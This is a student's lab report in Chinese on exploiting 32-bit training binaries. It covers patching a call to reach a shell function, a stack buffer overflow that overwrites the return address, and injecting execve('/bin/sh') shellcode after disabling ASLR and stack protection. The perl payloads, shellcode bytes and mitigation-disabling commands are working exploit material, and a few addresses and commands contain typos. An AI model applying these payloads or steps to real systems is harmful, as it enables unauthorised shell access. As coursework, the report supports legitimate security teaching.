实验一
目录
- 直接修改程序机器指令,改变程序执行流程
- 通过构造输入参数,造成BOF攻击,改变程序执行流
- 注入Shellcode并执行
- 问题及解决
思想感悟
一、修改机器指令
- 首先你需要一个pwn1文件,使用
cp
命令复制到当前目录下 - 反汇编,
objdump -d pwn1
- 查看
main
函数,当前call
调用的是foo
函数,我们通过修改调用函数的地址使其指向getShell
- 使用
vi pwn1
编辑当前文件,并使用:%!xxd
将其ASCII码改为16进制显示 - 使用
/d7
搜索并找到要修改的相应位置 - 使用
:%!xxd -r
变回ASCII码,保存退出 - 再次查看,修改成功
执行当前pwn1,出现shell环境
二、BOF攻击
通过一段大于foo函数能存储长度的buffer造成缓冲区溢出,从而覆盖掉这个函数,直接执行shell函数- 通过代码分析缓冲区的字符串为32字节
- gdb执行一下pwn2,r运行,输入一段40字节长度的数据
- 发生段错误,分析后八字节是哪四字节溢出
- 所以将输入的后字节改为
\xd7\x84\x04\x08
(shellcode的起始地址0x080484d7
) - 输入
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
生成包含该字段的文件input
(Perl -e:用于在命令行执行 Perl 命令) - 可以使用
xxd input
查看文件内容 - 然后将input的输入,通过管道符
|
,作为pwn2
的输入,覆盖返回地址:(cat input; cat) | ./input
可以执行shell函数
三、注入Shellcode
shellcode在输入的时候被放入堆栈了,那么在堆栈里面就有机会把返回地址指向shellcode,实现攻击- 首先要设置堆栈可执行:
execstack -s pwn3 //设置堆栈可执行
execstack -q pwn3 //查询文件的堆栈是否可执行
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space //查询地址随机化是否关闭
0代表关闭,2代表开启
- 采用老师提供的shellcode,输入
perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
- 将写好的代码通过管道方式输入给程序中的foo函数进行覆盖
(cat input_shellcode;cat) | ./pwn2
- 打开另外一个终端,用gdb来调试pwn2这个进程,要找到程序的进程号
ps -ef | grep pwn2
- 启动gdb调试这个程序,然后
attach
进程号 disassemble foo
反编译,设置断点在返回地址处b *0x080484ae
,继续运行c
- 命中以后查看esp,esp后4个字节就是我们要找的返回值
0xffffd34c+0x00000004 = 0xffffd350
- 修改shellcode,重新执行
成功
四、问题及解决
Q: 在Terminal利用
./pwn1
执行pwn1
会出现没有那个文件或目录
的提示,但是ls
命令又能看到存在pwn1
文件.S: 64位的kali运行不了,装一个32位的库解决,也可以通过更新源解决,我输入了如下指令:
apt-get install lib32z1
五、思考感悟
本次实验介绍了三种攻击方式,都是通过地址的修改来达到攻击目的,第二个实验要求的分析性更强一些,需要看出缓冲区buffer的长度来写出能覆盖至其返回地址后找到shellcode的的字符串。第三个任务是通过找到当前进程的esp,修改shellcode。w我觉得这次的实验思路还是挺简单的,巩固了之前的知识,拓宽了网络攻击的思路,很有意思。